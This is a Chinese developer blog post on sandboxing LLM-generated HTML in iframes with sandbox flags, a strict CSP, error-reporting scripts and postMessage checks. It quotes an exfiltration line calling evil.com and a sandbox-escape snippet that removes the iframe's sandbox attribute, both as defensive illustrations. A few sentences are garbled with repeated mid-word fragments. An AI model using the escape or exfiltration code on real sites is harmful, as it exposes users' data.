把 LLM 吐出来的组件扔进 iframe 跑:沙箱隔离这件事没你想的那么简单
拿 dangerouslySetInnerHTML 直接把 AI 返回的 HTML 糊到页面上------你干过没?
干过。去年接手一个 AI 生成 UI 的项目,前任同事就是这么搞的,GPT 返回一段 <div> 带 <style> 带 <script>,直接往 DOM 里一塞。能跑就行嘛。跑是能跑,直到有一天 AI 返回了一段代码里面带了 document.cookie,紧接着又带了一个 fetch 往外发请求,安全团队的告警邮件半夜三点把我叫醒了。不想再体验第二次。
早知道就老老实实做沙箱。
这篇聊的就是这件事:LLM 输出的组件代码怎么在浏览器里安全跑起来,核心方案是 iframe 配合 Content-Security-Policy,再加上错误边界兜底。不是什么新技术。但组合起来的坑比想象中多得多得多。
iframe sandbox:看起来一行属性就搞定,实际全是取舍
先说基础的。
<iframe sandbox> 这个属性加上之后,浏览器会给 iframe 里的内容套一层限制------不能执行脚本、不能提交表单、不能用 top.location 跳转、不能弹窗。听起来很美。但问题来了,AI 生成的 UI 组件十有八九需要跑 JavaScript,你总不能让 GPT 只吐静态 HTML 吧,那还不如直接用 markdown-it 渲染算了。所以你得把 allow-scripts 加回来:
html
<iframe
sandbox="allow-scripts"
srcdoc="..."
style="width:100%;height:400px;border:none;"
></iframe>
就这一行。事情开始变复杂了。
allow-scripts 打开之后 iframe 里的代码能跑 JS 了,但它仍然拿不到父页面的 DOM,因为 sandbox 默认会把 iframe 的 origin 设成 null,天然跨域。好事。但"拿不到父页面 DOM"和"完全安全"之间差了十万八千里,iframe 里的脚本照样能发 fetch 请求、能用 WebSocket。localStorage 倒是默认禁用的,除非你加了 allow-same-origin。
等等。千万别加这个。
allow-scripts + allow-same-origin:灾难组合
我踩过的最狠的坑就是这俩同时开。
这俩一起开会怎样?iframe 里的脚本既能跑 JS,又和父页面同源。那它就能做一件事情:
javascript
// iframe 内部的恶意代码
const frame = window.frameElement;
frame.removeAttribute('sandbox');
// sandbox 没了,所有限制解除,可以为所欲为
完了。iframe 里的代码直接把自己的 sandbox 属性删掉,reload 一下,所有限制全部消失。这不是理论攻击,MDN 上都写了------但谁看 MDN 啊。别问。
所以第一条铁律:allow-scripts 和 allow-same-origin 永远不能同时出现。
不加 allow-same-origin 有啥副作用?iframe 里的代码没法用 localStorage、sessionStorage、IndexedDB,也没法用 cookie。说到 AI 生成的预览组件来说问题不大------你又不是要在预览里做持久化。但有一个比较烦的事:有些第三方库比如某些版本的 axios 初始化时会读 localStorage,读不到直接抛异常。这个后面错误边界那节再说。
怎么说呢,sandbox 属性的配置我前后改了不下十次,最后稳定下来的版本:
ini
sandbox 权限选择流程:
需要跑 JS 吗?
├── 否 → sandbox(啥都不加,最安全)
└── 是 → sandbox="allow-scripts"
↓
需要提交表单吗?
├── 否 → 保持 allow-scripts
└── 是 → allow-scripts allow-forms
↓
需要弹窗(window.open)吗?
├── 否 → 到此为止
└── 是 → 加 allow-popups
(但要想清楚,真的需要吗?)
永远不加:allow-same-origin(和 allow-scripts 同时)
永远不加:allow-top-navigation(防止跳转劫持)
光靠 sandbox 还不够。管不了网络请求。iframe 里的脚本照样能 fetch('https://evil.com') 往外发数据。不对,应该说是me 里的脚本照样能 fetch('https://evil.com') 往外发数据(说起来都是泪)。这就是为什么需要 CSP。
CSP 怎么配才能把网络请求锁死
Content-Security-Policy 注入到 iframe 里有两种方式:HTTP 响应头,或者 <meta> 标签。我们用的是 srcdoc,没有 HTTP 响应这回事,所以只能走 <meta http-equiv="Content-Security-Policy">。
javascript
function wrapWithCSP(htmlFromLLM) {
const csp = [
"default-src 'none'",
"script-src 'unsafe-inline'",
"style-src 'unsafe-inline'",
"img-src data: blob:",
].join('; ');
return `
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="${csp}">
</head>
<body>${htmlFromLLM}</body>
</html>
`;
}
看到 script-src 'unsafe-inline' 是不是慌了?
别慌。正常 Web 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。嗯......也不完全是,eb 应用里 unsafe-inline 确实是安全隐患,等于给 XSS 开绿灯。但我们这个场景不一样------iframe 里所有的代码都是内联的,AI 吐出来的就是一坨 HTML 字符串,不存在"可信脚本"和"不可信脚本"的区分,全部不可信,安全边界在 iframe 的 sandbox 和 CSP 的网络限制上,不在脚本来源上。
我也想过用 nonce 或者 sha256-hash 来限制。
坦白说有个细节我当时查了半天:connect-src 不配的话会不会 fallback 到 default-src?答案是会的。default-src 是 'none',所以效果一样。但我建议显式写上,代码即文档嘛:
javascript
const csp = [
"default-src 'none'",
"script-src 'unsafe-inline'",
"style-src 'unsafe-inline'",
"img-src data: blob:",
"connect-src 'none'", // 显式禁止 fetch/XHR/WebSocket
"font-src 'none'",
].join('; ');
这样配完之后,iframe 里的代码跑 fetch('https://evil.com/steal?data=xxx') 浏览器直接拦截,控制台打一条 CSP violation 的报错。安全团队不会再半夜打电话了。
但事情没完。
AI 生成的代码要加载 CDN 上的库怎么办
这个场景我一开始压根没想到。
两条路。
第一条,白名单:
bash
script-src 'unsafe-inline' https://cdn.jsdelivr.net https://unpkg.com
能用。
第二条路,也是我最后选的------在父页面做预处理,把外部 <script src="..."> 的内容提前下载好,以内联方式塞回 srcdoc:
xml
LLM 输出的原始 HTML
↓
预处理(父页面)
├── 扫描 <script src="...">
├── 下载脚本内容(白名单校验 URL)
├── 转为 <script>内联代码</script>
└── 扫描 <link href="..."> 同理处理
↓
组装 srcdoc(注入 CSP meta)
↓
塞进 <iframe sandbox="allow-scripts">
CSP 保持最严格配置,不用开任何外部域名(虽然官方文档不是这么说的)。代价是多了一步预处理,但这步本身也是个安全检查点,你可以在这里做恶意代码扫描、Content-Length 大小限制、依赖白名单校验,一举多得(虽然官方文档不是这么说的)。
反正大概是这么个意思。
这套预处理的逻辑写起来比想象中复杂。光是处理 <script> 标签的各种写法------有 type="module" 的、有 async 的、有 defer 的、还有写在 <head> 和 <body> 不同位置的------就糊了大概两百行,一半正则一半 DOMParser。一次性工作。写完不用动了。
写到这里突然觉得之前说的不太对。
还有个容易忽略的点。<style> 里面的 @import url(...) 和 background: url(...) 也能发网络请求。能跑。style-src 'unsafe-inline' 只允许内联样式,@import 加载外部 CSS 这个行为被 default-src 'none' 兜住了。但 background-image: url(data:image/png;base64,...) 是可以的,因为 img-src 放了 data:。这些边角情况不翻 W3C 的 CSP spec 真想不到。
错误边界:AI 生成的代码炸了怎么办
重要。但不复杂。
AI 生成的代码质量不可预测。SyntaxError 都能有,更别提运行时错误了------访问 undefined 的属性、死循环、内存爆了。啥都可能。
好吧这个问题比我想的复杂。
iframe 天然就是进程级别的隔离,大多数现代浏览器里跨域 iframe 跑在独立渲染进程中,所以 iframe 里的代码就算 while(true){} 了也不会卡死父页面。免费的好处。但你得有办法检测到"这个 iframe 炸了"然后给用户反馈。
我的做法是在 srcdoc 里注入一段监控脚本,这段脚本在 AI 生成的代码之前执行:
html
<script>
window.addEventListener('error', function(e) {
parent.postMessage({
type: '__sandbox_error__',
message: e.message,
filename: e.filename,
lineno: e.lineno
}, '*');
});
window.addEventListener('unhandledrejection', function(e) {
parent.postMessage({
type: '__sandbox_error__',
message: e.reason?.message || String(e.reason)
}, '*');
});
// 5秒内没渲染完就认为卡了
var __renderTimer = setTimeout(function() {
parent.postMessage({
type: '__sandbox_timeout__',
message: 'Render timeout after 5000ms'
}, '*');
}, 5000);
window.__notifyRenderComplete = function() {
clearTimeout(__renderTimer);
parent.postMessage({ type: '__sandbox_ready__' }, '*');
};
</script>
父页面监听 message 事件(听起来很合理对吧,但是)。有个坑:postMessage 第二个参数写的 '*',因为 sandbox 下 iframe 的 origin 是 null,没法指定具体 targetOrigin。那父页面监听的时候必须做来源校验,用 event.source 判断:
javascript
const iframeRef = useRef(null);
useEffect(() => {
function handleMessage(event) {
if (event.source !== iframeRef.current?.contentWindow) return;
switch (event.data?.type) {
case '__sandbox_error__':
setError(event.data.message);
break;
case '__sandbox_timeout__':
setError('组件渲染超时');
break;
case '__sandbox_ready__':
setLoading(false);
break;
}
}
window.addEventListener('message', handleMessage);
return () => window.removeEventListener('message', handleMessage);
}, []);
跑起来还行。
但有个问题始终没完美解决。死循环。
while(true){} 这种同步死循环会卡死 iframe 的 JS 线程,setTimeout 的超时回调根本没机会执行,因为事件循环被堵死了。postMessage 发不出去,父页面啥也收不到。只能在父页面设一个外部定时器------5 秒内没收到 __sandbox_ready__ 就认为挂了:
javascript
useEffect(() => {
if (!loading) return;
const timer = setTimeout(() => {
setError('渲染超时,可能存在死循环');
if (iframeRef.current) {
iframeRef.current.srcdoc = '';
}
}, 5000);
return () => clearTimeout(timer);
}, [loading]);
把 srcdoc 设成空字符串可以终止 iframe 里的执行。iframe.contentWindow.stop() 在跨域 sandbox 下调不了。够用了。不优雅。但够用了。
还有一类错误比较棘手。
javascript
try { localStorage } catch(e) {
window.localStorage = {
getItem: () => null,
setItem: () => {},
removeItem: () => {},
clear: () => {},
length: 0
};
}
粗暴。有效。有些库初始化的时候检测 window.localStorage 是否存在来决定用不用持久化------mock 之后它就走内存 fallback 了,比如 zustand 的 persist 中间件就是这个逻辑。
父子通信和动态尺寸
快速过。
iframe 高度自适应是老生常谈的问题,sandbox 场景下一样躲不掉。
javascript
new ResizeObserver(entries => {
const height = entries[0].target.scrollHeight;
parent.postMessage({
type: '__sandbox_resize__',
height: height
}, '*');
}).observe(document.body);
父页面收到消息后更新 iframe 的 style.height。ResizeObserver 在 sandbox 下能不能用?能。它是纯观察型 API,不涉及安全敏感操作,不在 sandbox 的限制清单里(别问我怎么知道的)。
父页面往 iframe 传数据也是 postMessage,传主题色、prefers-color-scheme 之类的。注意序列化问题就行------postMessage 走结构化克隆算法,函数、DOM 节点、Symbol 传不了。大部分场景一个 JSON.stringify 能覆盖的对象就够了。
如果 iframe 里的组件需要"调用"父页面的能力,比如打开 modal、跳转 react-router 的路由,可以搞一套 RPC:
css
iframe → 父页面: { type: 'rpc_call', id: 'abc', method: 'openModal', params: {...} }
↓
校验 method 白名单 → 执行 → 拿到结果
↓
父页面 → iframe: { type: 'rpc_result', id: 'abc', result: ... }
↓
iframe 侧 resolve 对应 Promise
二十行代码的事。核心就是 method 白名单,iframe 能调用的方法必须预定义好,不能让它随便调 window.open 或者操作 history。
最后一个不大不小的坑。
srcdoc 的内容如果包含 </script> 这个字符串------哪怕是嵌在 JS 的字符串字面量里------浏览器也会提前闭合 <script> 标签,整个 HTML 解析全乱。预处理时记得转义,把 </script> 替换成 <\/script>。这个坑我调了半天,AI 生成的代码里恰好有一句 el.innerHTML = '<script>...</script>',然后 srcdoc 就炸了。血的教训。
这套方案跑了差不多半年。扛住了各种离谱的 AI 输出------有返回完整 <!DOCTYPE html> 文档结构的、有在 <style> 里写 * { display: none !important } 把自己藏起来的、有 console.log 循环打了几万行把 DevTools 搞崩的。sandbox 保护下这些东西都只能在 iframe 里折腾,影响不到父页面的 document,也发不出任何网络请求。
说白了嘛,就是给 AI 输出画了个圈。圈里随便蹦跶,出不去就行。半年下来最大的感受是,安全这东西不怕方案土,怕的是你觉得"应该没事吧"然后就真没管。